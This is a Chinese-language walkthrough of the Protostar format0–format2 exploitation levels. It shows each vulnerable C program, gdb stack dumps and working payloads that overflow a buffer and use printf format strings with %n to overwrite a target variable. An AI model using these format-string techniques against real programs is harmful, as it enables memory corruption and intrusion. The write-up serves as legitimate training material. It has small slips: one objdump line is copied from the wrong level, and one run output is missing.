1 format0

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
   volatile int target;
   char buffer[64];

   target = 0;

   sprintf(buffer, string);

   if(target == 0xdeadbeef) {
         printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
   vuln(argv[1]);
}
```

注意到 target 就在 buffer 的高地址，而 sprintf 没有做越界检查。因此只需要先使用64个字符填满 buffer ，然后便可以修改 target 。

攻击输入如下：

```
./format0 $(python -c "print('1'*64+'\xef\xbe\xad\xde')")
```

运行结果为

```
user@protostar:/opt/protostar/bin$ ./format0 $(python -c "p
rint('1'*64+'\xef\xbe\xad\xde')")
you have hit the target correctly :)
```

2 format1

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

```

```
8  void vuln(char *string)
9  {
10    printf(string);
11
12    if(target) {
13          printf("you have modified the target :)\n");
14    }
15 }
16
17 int main(int argc, char **argv)
18 {
19    vuln(argv[1]);
20 }
```

本题需要利用 `printf` 执行写入操作。考虑使用 `%n` 操作符进行写入，在c标准库中 `%n` 操作符会将本次操作写入的字节数填入指定的内存地址。

使用objdump找到 `target` 的地址为 `0x08049638` 。

```
user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target
08049638 g     O .bss   00000004              target
```

在gdb中创建断点，输入字符串，查看栈空间如下

```
(gdb) x/160wx $esp
0xbffff4b0:     0x08048500      0x0804960c      0xbffff4e8      0x08048469
0xbffff4c0:     0xb7fd8304      0xb7fd7ff4      0xbffff4e8      0x08048435
0xbffff4d0:     0xbffff6d0      0xb7ff1040      0x0804845b      0xb7fd7ff4
0xbffff4e0:     0x08048450      0x00000000      0xbffff568      0xb7eadc76
0xbffff4f0:     0x00000002      0xbffff594      0xbffff5a0      0xb7fe1848
0xbffff500:     0xbffff550      0xffffffff      0xb7ffeff4      0x0804824d
0xbffff510:     0x00000001      0xbffff550      0xb7ff0626      0xb7fffab0
0xbffff520:     0xb7fe1b28      0xb7fd7ff4      0x00000000      0x00000000
0xbffff530:     0xbffff568      0x0f4e56fe      0x251fc0ee      0x00000000
0xbffff540:     0x00000000      0x00000000      0x00000002      0x08048340
0xbffff550:     0x00000000      0xb7ff6210      0xb7eadb9b      0xb7ffeff4
0xbffff560:     0x00000002      0x08048340      0x00000000      0x08048361
0xbffff570:     0x0804841c      0x00000002      0xbffff594      0x08048450
0xbffff580:     0x08048440      0xb7ff1040      0xbffff58c      0xb7fff8f8
0xbffff590:     0x00000002      0xbffff6b5      0xbffff6d0      0x00000000
0xbffff5a0:     0xbffff985      0xbffff98f      0xbffff9b1      0xbffff9c5
0xbffff5b0:     0xbffff9cd      0xbffff9df      0xbffff9ef      0xbffffa02
0xbffff5c0:     0xbffffa0f      0xbffffa1e      0xbffffa2a      0xbffffa3e
0xbffff5d0:     0xbffffa7c      0xbffffa8d      0xbfffff7d      0xbfffff8b
0xbffff5e0:     0xbfffffa2      0xbfffffd8      0x00000000      0x00000020
0xbffff5f0:     0xb7fe2414      0x00000021      0xb7fe2000      0x00000010
0xbffff600:     0x0f8bfbff      0x00000006      0x00001000      0x00000011
0xbffff610:     0x00000064      0x00000003      0x08048034      0x00000004
0xbffff620:     0x00000020      0x00000005      0x00000007      0x00000007
0xbffff630:     0xb7fe3000      0x00000008      0x00000000      0x00000009
0xbffff640:     0x08048340      0x0000000b      0x000003e9      0x0000000c
0xbffff650:     0x000003e9      0x0000000d      0x000003e9      0x0000000e
0xbffff660:     0x000003e9      0x00000017      0x00000001      0x00000019
0xbffff670:     0xbffff69b      0x0000001f      0xbfffffe1      0x0000000f
0xbffff680:     0xbffff6ab      0x00000000      0x00000000      0x00000000
0xbffff690:     0x00000000      0x00000000      0x2f000000      0xdbd909da
0xbffff6a0:     0x57c0f853      0xb9c8d30f      0x69cb933e      0x00363836
0xbffff6b0:     0x00000000      0x706f2f00      0x72702f74      0x736f746f
0xbffff6c0:     0x2f726174      0x2f6e6962      0x6d726f66      0x00317461
0xbffff6d0:     0x08049638      0x25414141      0x2e783830      0x78383025
0xbffff6e0:     0x3830252e      0x30252e78      0x252e7838      0x2e783830
0xbffff6f0:     0x78383025      0x3830252e      0x30252e78      0x252e7838
0xbffff700:     0x2e783830      0x78383025      0x3830252e      0x30252e78
0xbffff710:     0x252e7838      0x2e783830      0x78383025      0x3830252e
```

我们输入的字符串在高地址，因此可以使用 `%08x` 的方式让 `printf` 不断读取，并使得 `%08n` 对齐我们输入的开头，便可以实现在指定地址写入。

反复调整输入，直到对齐。

```
run $(python -c 'print("\x38\x96\x04\x08" + "AAA" + "%08x." * 135+"%08n."+".%08x")')
```

gdb中运行结果如下：

```
Starting program: /opt/protostar/bin/format1 $(python -c 'print("\x38\x96\x04\x08" + "AAA" + "%08x." * 135+"%08n."+".%08x")')
8◆AAA0804960c.bffff4e8.08048469.b7fd8304.b7fd7ff4.bffff4e8.08048435.bffff6d0.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff568.b7eadc76.00000002.bffff594.bffff5a0.b7fe1848.bffff550.ffffffff.b7ffeff4.0804824d.00000001.bffff550.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff568.0f4e56fe.251fc0ee.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff594.08048450.08048440.b7ff1040.bffff58c.b7fff8f8.00000002.bffff6b5.bffff6d0.00000000.bffff985.bffff98f.bffff9b1.bffff9c5.bffff9cd.bffff9df.bffff9ef.bffffa02.bffffa0f.bffffa1e.bffffa2a.bffffa3e.bffffa7c.bffffa8d.bfffff7d.bfffff8b.bfffffa2.bfffffd8.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0f8bfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.000003e9.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff69b.0000001f.bfffffe1.0000000f.bffff6ab.00000000.00000000.00000000.00000000.00000000.2f000000.dbd909da.57c0f853.b9c8d30f.69cb933e.00363836.00000000.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.00317461...25414141you have modified the target :)
```

在gdb外需要重新调整对齐，最终输入为

```
./format1 $(python -c 'print("\x38\x96\x04\x08" + "AAAAAAA" + "%08x." * 127+"%08n."+".%08x"*10)')
```

运行结果如下：

3 format2

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
   char buffer[512];

   fgets(buffer, sizeof(buffer), stdin);
   printf(buffer);

   if(target == 64) {
         printf("you have modified the target :)\n");
   } else {
         printf("target is %d :(\n", target);
   }
}

int main(int argc, char **argv)
{
   vuln();
}
```

本题写入数据的思路与上一题相似，也是使用 %n 操作符，但是要求写入的值为64，所以我们需要控制打印出的字符串长度为64。

使用objdump找到 target 的地址为 0x080496e4 。

```
user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target
08049638 g     O .bss   00000004              target
```

我们的输入会被复制到 buffer 中，并且 buffer 就在函数 vuln 的栈内。在gdb中添加断点，查看栈空间如下， 0xbffff590 是 buffer 的地址，只需要再跳过3字节即可到达 buffer 。

```
Breakpoint 2, 0x08048485 in vuln () at format2/format2.c:13
13      in format2/format2.c
(gdb) x/64wx $esp
0xbffff580:     0xbffff590      0x00000200      0xb7fd8420      0xbffff5d4
0xbffff590:     0x080496e4      0x080496e4      0x080496e4      0x080496e4
0xbffff5a0:     0x080496e4      0x080496e4      0x080496e4      0x080496e4
0xbffff5b0:     0x080496e4      0x080496e4      0x78383025      0x78383025
0xbffff5c0:     0x78383025      0x6e383025      0xb7ff000a      0xb7fff020
0xbffff5d0:     0x00000000      0xb7ffeff4      0xb7fed24f      0xb7ffe000
0xbffff5e0:     0x00001000      0x00000001      0xb7ffeff4      0x00000000
0xbffff5f0:     0xbffff69c      0xb7fed61f      0xb7fffab0      0xb7fe1d68
0xbffff600:     0x00000001      0x00000001      0x00000000      0xb7feeffa
0xbffff610:     0xb7ffeff4      0x00000000      0x00000000      0xbffff674
0xbffff620:     0xb7ff83d0      0xb7ffc3e1      0xb7fffb8bc     0xb7fff524
0xbffff630:     0x00000000      0xb7fe3494      0xbffff674      0xb7fe3612
0xbffff640:     0xbffff694      0xb7fe32d4      0x00000002      0xb7fe3334
0xbffff650:     0xb7ea36e4      0x0d696910      0xbffff690      0xb7feba16
0xbffff660:     0xb7ea9866      0x08048297      0x00000002      0x08048254
0xbffff670:     0xb7fe1b28      0xbfff0002      0xb7ff15a0      0x08048254
```

于是我们的输入如下:

```
python -c 'print("\xe4\x96\x04\x08"*10+"%08x"*3+"%08n")'|./format2
```

运行结果如下:

```
user@protostar:/opt/protostar/bin$ python -c 'print("\xe4\x96\x04\x08"*10+"%08x"*3+"%08n")'|./format2
◆◆◆◆◆◆◆◆◆◆00000200b7fd8420bffff614
you have modified the target :)
```